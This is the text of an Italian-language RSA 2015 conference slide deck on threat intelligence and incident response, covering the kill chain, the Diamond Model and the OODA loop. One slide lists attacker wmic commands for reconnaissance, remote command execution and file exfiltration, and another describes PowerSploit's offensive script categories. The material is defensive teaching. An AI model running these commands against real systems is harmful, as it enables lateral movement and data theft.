Presentation on Cyber Threat Intelligence (CTI) and Incident Response (IR) @ RSA EMEA Advanced Cyber Defense Summit 2015 in Rome

1. The more you
know the
better you do
@RSAEMEA
#RSAEMEASummit
Demetrio Milea,
Advanced Cyber Defence Consultant EMEA

2. 2
© Copyright 2015 EMC Corporation. All rights reserved.
”Wherever he steps, whatever he touches, whatever he
leaves, even unconsciously, will serve as a silent witness
against him. Not only his fingerprints or his footprints, but
his hair, the fibers from his clothes, the glass he breaks,
the tool mark he leaves, the paint he scratches, the blood
he deposits.„
Edmond Locard (20° century) - Criminologo
It is impossible for a criminal to act, especially considering
the intensity of a crime, without leaving traces of this
presence.
Locard’s Exchange Principle

3. 3
© Copyright 2015 EMC Corporation. All rights reserved.
Ciclo di vita di un attacco (aka Kill Chain)
1.
Intelligence
Gathering
2.
Initial
Exploitation
3.
Privilege
Escalation
4.
Rootkit &
CnC
5.
Lateral
Movement
6.
Data
Exfiltration

4. 4
© Copyright 2015 EMC Corporation. All rights reserved.
Le tracce dell’attaccante
EndPoint Applicativo Network
https://blogs.rsa.com/eliminated-impossible/

5. 5
© Copyright 2015 EMC Corporation. All rights reserved.
Il gap da colmare
La sicurezza aziendale di
tipo legacy
VS
L’innovazione
esponenziale della
sicurezza offensiva

6. 6
© Copyright 2015 EMC Corporation. All rights reserved.
Anti
VirusSIEM
IDS
IPS
Fire
wall
Gli strumenti di sicurezza legacy

7. 7
© Copyright 2015 EMC Corporation. All rights reserved.
Le aziende ancora oggi ...
• Vulnerabilità a livello applicativo (RCE, XSS, SQLi)
• Scarsa formazione dei dipendenti sulla sicurezza
• Autenticazione ad un solo fattore
• Policy e procedure datate
• Controlli applicativi deboli
• Applicazioni e sistemi operativi non aggiornati
• Fornitori e terze parti non controllati

8. 8
© Copyright 2015 EMC Corporation. All rights reserved.
• Windows Management Instrumentation: tecnologia integrata nei S.O.
Microsoft (>= Windows 2000), che può essere utilizzata dall'amministratore di
sistema per la gestione di workstation/server locali o remoti.
• WQL è un subset semplificato del linguaggio SQL (Structured Query Language),
con alcune estensioni specifiche di WMI
• É possibile eseguire comandi WMI in:
– VBScript
– JavaScript
– PowerShell
• wmic.exe tramite linea di comando ci permette di accedere a WMI
... gli attaccanti invece
MALICIOUS USE CASE!

9. 9
© Copyright 2015 EMC Corporation. All rights reserved.
• Information Gathering
– Elenco delle patch installate, dei processi in esecuzione (locali e remoti), account
utenti, risorse condivise in rete. Es.
• wmic path win32_process get Caption,Processid,Commandline
• wmic qfe get
• wmic nicconfig where IPEnabled=’true’
• wmic process where (Name=’svchost.exe’) get name,processid
• wmic /node:remote /user:user /password:pass service get Name,Caption,State,ServiceType,pathname
• Lateral Movement
– Esecuzione di comandi da remoto: Esempo: wmic /node:hostname /user:username /
password:pass PROCESS CALL CREATE cmd.exe
• Data Exifiltration
– Esempio: wmic /NODE:hostname /user:username /password:pass process call create
xcopy d:calc.rar ninjahostc$a.dat
(Ab)Using WMI

10. 10
© Copyright 2015 EMC Corporation. All rights reserved.
• Versione 2.0 in Windows 7.0, V.3 in Win7 SP1, Win2008 R2 SP1 etc
• Basato su programmazione ad oggetti e Framework .NET
• Simile al C#
Power[Shell|Sploit]
PowerSploit
• Collezione di script (organizzati per categorie) in PowerShell
che possono essere utilizzati in tutte le fasi di un attacco.
– Antivirus Bypass - Find bytes of a file which has a matching signature in antivirus.
– Code Execution - Used to execute code on victim machine.
– Exfiltration - Manipulate and collect information & data from victim machine(s).
– Persistence - Maintain control to machine by adding persistence to scripts.
– Recon - Perform reconnaissance tasks using victim machine.

11. 11
© Copyright 2015 EMC Corporation. All rights reserved.
Realtà o percezione?
Comunicazione
Formazione
Visibilità
Non è possibile controllare ciò che non si vede!

12. 12
© Copyright 2015 EMC Corporation. All rights reserved.
Gli attacchi sono inevitabili
”I am convinced that there are only two types of companies: those
that have been hacked and those that will be. And even they are
converging into one category: companies that have been hacked
and will be hacked again.„
- Robert Mueller (RSAC 2012), 6th Director of the FBI
Cyber Threat Intel, Incident Detection and Response

13. 13
© Copyright 2015 EMC Corporation. All rights reserved.
Cybercrime Response Strategy
Analizzare e
documentare il
modus
operandi degli
attaccanti
Rilevare gli
attacchi
dalle loro
tracce
Mitigare
l’attacco.
Profilare i
pattern
dell’attacco
subito
Cyber Threat Intel
Incident Response Strategy
Threat Indicators & Incident Detection

14. 14
© Copyright 2015 EMC Corporation. All rights reserved.
Cyber Threat Intelligence cycle
https://blogs.rsa.com/intelligence-needs-operationalized/
Collection
Dark Web
Commercial
Network
Analysis
Attribution
Analysis
Content
Management
Automated Processing
Payload
Analysis
Strategic/Operational
Reporting
Technical Analysis Report
(Tactical Reporting)
IOCs
IDS/IPS
Firewall
SIEM
Identify & AnalyzeMonitor & Collect DisseminateCommunicate

15. 15
© Copyright 2015 EMC Corporation. All rights reserved.
Profilare l’attacco e l’attaccante
Adversary
Capability
Email Headers
Attachment
Encryption
Victim
Infrastructure
Mail Sender IP
Domains, Ips
Destination IP
Modello analitico sia per modellare sia per rendere operative le
informazioni di intelligence.
Utilizzato da:
• Incident Responder
• Threat Intel Analyst
• Risk Analyst
Axiom 1: For every intrusion
event there exists an adversary
taking a step towards an
intended goal by using a
capability over infrastructure
against a victim to produce a
result.
The Diamond Model
http://www.dtic.mil/dtic/tr/fulltext/u2/a586960.pdf

16. 16
© Copyright 2015 EMC Corporation. All rights reserved.
Profilare l’attacco e l’attaccante
http://www.dtic.mil/dtic/tr/fulltext/u2/a586960.pdf
Adversary
Capability
Victim
Infrastruct
ure
Adversary
Capability
Victim
Infrastructure
• X-Mailer: Outlook Express
• update.pdf.exe
• POST /callhome.php
• click.me
• 192.158.x.x
The Diamond Model – Un caso di phishing segnalato dalla vittima

17. 17
© Copyright 2015 EMC Corporation. All rights reserved.
Prepararsi a rispondere un incidente
Identificare gli obiettivi da raggiungere
Valutare le competenze (P.P.T.) esistenti
Classificare assets, dati e utenti
Formare un gruppo di IR
Educare e praticare attività di IR
Automatizzare e misurare
Gestire meglio incidenti futuri applicando le
conoscenze acquisite da incidenti passati.
What
When
Where
How
Who
Why
https://blogs.rsa.com/human-process-elements-incident-response-plan/

18. 18
© Copyright 2015 EMC Corporation. All rights reserved.
Metodo OODA per una risposta efficace
• Observe and Orient e continua
comprensione:
– Business
– Superficie di attacco
– Dei dati, della rete dei flussi di
applicativi
• Decide & Act:
– Dati raccolti nelle fase precedenti
– Avendo analizzato tutte le possibili
opzioni e conseguenze
– C-Level
– Seguendo le policy e le procedure John Boyd (1927 – 1997, Military Strategist)
The OODA loop

19. 19
© Copyright 2015 EMC Corporation. All rights reserved.
Conclusioni
• Content Analytics
– Contesto di business e profilo di rischio per asset
aziendale
• Persone, Processi, Tecnologia
– Tecnologia per promuovere la visibilità, le persone
e i processi per identificare e risolvere gli incidenti.
• Threat Intelligence
– Prioritizzare e rendere operative le informazioni
di intelligence (interna, esterna, pubblica e privata).

20. EMC, RSA, the EMC logo and the RSA logo are trademarks of EMC Corporation in the U.S. and other countries.